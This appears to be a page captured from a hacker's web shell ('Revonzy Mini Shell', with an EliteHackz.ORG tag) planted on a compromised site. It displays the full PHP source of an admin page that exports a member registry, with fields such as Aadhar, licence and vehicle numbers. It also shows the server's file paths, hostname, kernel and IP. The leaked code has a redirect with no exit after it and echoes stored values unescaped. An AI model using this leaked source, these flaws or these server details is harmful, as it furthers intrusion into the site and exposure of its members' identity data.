Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/vahtuksanghatana.com/admin/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/vahtuksanghatana.com/admin/excel-print-public-member-report.php

<?php
	require_once("lib/function.php");
	$db = new login_function();
	$flag 			= 0;
	$success_msg 	= 0;
	$from_date		=date("d-m-Y");
 	$to_date		=date("d-m-Y");
	$user_name		="";
	$mobile_no		="";
	$m_v_no			="";
	$option         ="";
	$name 		 = ""; 
	$mobile_no	 = ""; 
	$state		 = ""; 
	$f_status		 = ""; 
	$gadi_no	 = ""; 
	$licence_no	 = ""; 
	ob_start();
	if(!isset($_SESSION['current_login_admin']))
	{
		header("Location:/admin/index.php");
	}
	if(isset($_SESSION['current_login_admin']))
	{
		$email	=	$_SESSION['current_login_admin'];
	}
	if(isset($_SESSION['from_date']))
	{
		$from_date		= $_SESSION['from_date'];
		$to_date		= $_SESSION['to_date'];
		$name	 		= $_SESSION['name'];
		$mobile_no		= $_SESSION['mobile_no'];
		$state			= $_SESSION['state'];
		$f_status			= $_SESSION['f_status'];
		$gadi_no		= $_SESSION['gadi_no'];
		$licence_no		= $_SESSION['licence_no'];
	}
?>

<style>
.col-md-12
{
	width:100%;
	margin:auto;
	margin-top:20px;
}
table,th,td
{
	text-align:center;
	text-transform:uppercase;
	border:1px solid grey;
}
</style>
<style>
.col-md-12
{
	width:100%;
	margin:auto;
	margin-top:20px;
}
table,th,td
{
	text-align:center;
	text-transform:uppercase;
	border:1px solid grey;
}
.col-md-12
{
	width:100%;
	margin:auto;
	margin-top:20px;
}
table,th
{
	text-align:center;
	border:1px solid grey;
	//text-transform:uppercase;
	
}
table,td
{
	text-align:center;
	border:1px solid grey;
	//text-transform:uppercase;
		
		font-size:13px;
}
@media only screen and (max-width: 600px) {
	.col-md-12
	{
		width:100%;
	}
	.alert
	{
		width:100%;
	}
	.side-row
	{
		width:49%;
		display:inline-table;
	}
}
.my-custom-scrollbar {
position: relative;
height: 300px;
overflow: auto;
}
.table-wrapper-scroll-y {
display: block;
}
.main_head
{
	width:1000px;
	margin:auto;
	font-size:14px;
	
	padding:10px;
	padding-top:0px;
	box-shadow:0px 0px 5px 1px #DFDFDF;
	border:1px solid #CCCCCC;
}	
.main_head>h1,h2,h4,h6
{
	text-align:center;
	margin:5px;
}
.sub_head
{
	border-bottom:1px dashed #CCCCCC;
	background-color:#FCFCFC;
	text-align:center;
	margin-bottom:8px;
	padding-top:2px;
	padding-bottom:10px;
	position:relative;
	line-height:40px;
}
.logo
{
	position: absolute;
	left:50px;
	top:11px;
	height:70px;
	width:70px;
	border-radius:40px;
}
body
{
	font-family:cambria;
	background-color:white;
}
label
{
	text-align:left;
	font-size:16px;
	font-weight:bold;
	margin:4px;
}
.sub_txtline
{
	font-size:14px;
	font-weight:bold;
	line-height:25px;
	font-family:cambria;
	font-weight:bold;
}
h6
{
	font-size:16px !important;
}
thead		
{
	background-color:#efefef;
	font-size:13px;
	
	
}	
.table-bordered td, .table-bordered th {
    border: 1px solid grey;
	-webkit-print-color-adjust: exact; 
}
.link
{
	background-color:#208F86 !important;
	font-size:17px;
	font-family:cambria;
	color:#FFFFFF;
	padding:10px;
	border-radius:10px;
	font-weight:bold;
	border:1px solid #666;
	margin-top:15px;
	text-transform:Uppercase;
}
.table td, .table th {
    padding: .5rem;
    vertical-align: top;
    border-top: 1px solid #e9ecef;
}
</style>
<meta charset="UTF-8">
<body style="background-color:white;">
<div class="main_head">
 <div class="sub_head">
 <img src="images/ohc-logo.png" style="float:left!important; margin-left:20px; margin-top:10px;">
 <h1 style="margin-bottom:10px;margin-top:25px; font-weight:bold; font-size:25px; line-height:25px; margin-top:15px;">VAHATUK SANGHATANA</h1>
<div style="font-size:14px; text-align:center; width:100%; line-height:20px;"><p><b>
Public Member Report</b><br />
<b>Report From : <?php echo $from_date; ?> To : <?php echo $to_date; ?></b></p></div>
	
</div>

<div>
<h2>
<center>Public Member Report</center>
</h2>
</div>
	<table class="table table-bordered table-hover" id="example" style="overflow-x:auto;overflow-y:auto; width:100%!important;" cellpadding=0 cellspacing=0>
 	<thead>
		<tr style="text-align:center;">
			
			<th>Sr No</th>
					<th>Full Name</th>
					<th>Status/ <br /> Mobile Number</th>
					<th>Address <hr /> DOB</th>
					<th>Aadhar No</th>
					<th>Licence No</th>
					<th>Gadi No</th>
					<th>Photo</th>
					<th>Date</th>
					<th>Time</th>
				</tr>
		
				
		
	</thead>
	<tbody>
	<?php
	
		$std_data = $db->get_all_registration_record($from_date,$to_date,$name,$mobile_no,$state,$f_status,$gadi_no,$licence_no);
			if(!empty($std_data))
			{
				$counter =0;
				foreach($std_data as $record)
				{
					$id 			=  $std_data[$counter][0];
					$full_name		=	$std_data[$counter][1];
					$mo_no	        =	$std_data[$counter][2];
					$address		=	$std_data[$counter][3];
					$aadhar_no			=	$std_data[$counter][4];
					$licence_no	    =	$std_data[$counter][5];
					$gadi_no           =   $std_data[$counter][6];
					$photo           =   $std_data[$counter][7];
					$date           =   $std_data[$counter][8];
					$time           =    $std_data[$counter][9];
					$dob           =    $std_data[$counter][10];
					$designation   =    $std_data[$counter][11];
					$status         =    $std_data[$counter][12];
					$ref_id     =    $std_data[$counter][13];
					$res_state     =    $std_data[$counter][14];
		?>
		<tr>
				  <tr class="odd gradeX">
				<td><?php echo $counter+1; ?></td>
				<td><?php echo $full_name; ?><hr /><?php echo $designation; ?>
					<br />
					<strong>(Reference Id - <?php echo $ref_id; ?>)</strong>
				</td>
				<td>
				 <strong style="color:purple; font-weight:bold;">Status : <?php echo $status; ?></strong>
				<br /><br />
				<?php echo $mo_no; ?></td>
				<td><?php echo $address." - ".$res_state; ?><hr /><?php echo $dob; ?></td>
				<td><?php echo $aadhar_no; ?></td>
				<td><?php echo $licence_no; ?></td>
				<td><?php echo $gadi_no; ?></td>
				<td>
				  <?php if($photo != "")
 {
 ?>
	   <!--<a href="id_photo_images/<?php echo $photo; ?>" target="_blank"><img src="id_photo_images/<?php echo $photo; ?>" height="50px" width="50px"></a>-->
	   <a href="id_photo_images/<?php echo $photo; ?>" target="_blank">View Photo</a>
			   <?php
 }else
 {
 ?>
			  <img src="id_photo_images/no-image.png" height="50px" 
					width="50px"></a>
			   <?php
 }
?>
				<!--<?php echo $photo; ?>-->
				
				</td>
				<td><?php echo $date; ?></td>
				<td><?php echo $time; ?></td>
				

		<!-- <td>
			   <?php if($logo != "")
 {
 ?>
			   <a href="logo/<?php echo $logo; ?>" 
					target="_blank"><img 
						  src="logo/<?php echo $logo; ?>" 
						  height="50px" width="50px"></a>
			   <?php
 }else
 {
 ?>
			  <img src="logo/no-image.png" height="50px" 
					width="50px"></a>
			   <?php
 }
?>	</td> -->
	</tr>
			
			
			
		
	   <?php
$counter++;
				}
			}
			else
			{
			?>
				<td colspan="11">No Data Found..</td>
			<?php
			}
			?>
	   
	   
	</tbody>
</table>

<?php
 if(isset($_GET['excel']))
	{
	  $excelData = "";
			    $filename = "users_report_".date('Y-m-d') . ".xls";			
            	header("Content-Type: application/vnd.ms-excel");
            	header("Content-Disposition: attachment; filename=\"$filename\"");	
            	//header("Content-Type: text/csv");
                //header("Content-Disposition: attachment; filename=$filename.csv");
            	$show_coloumn = false;
            	if(!empty($std_data)) {
            	  foreach($std_data as $record) {
            		if(!$show_coloumn) {
            		  // display field/column names in first row
            		  echo $excelData = implode("\t", array_keys($record)) . "\n";
            		  $show_coloumn = true;
            		}
            		echo $excelData = implode("\t", array_values($record)) . "\n";
            	  }
            	}
            	

            	exit;  
}
else if(isset($_GET['print']))
{

?>
	<script>
	window.print();
	</script>
<?php
}

?>


</div>	
</body>

</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4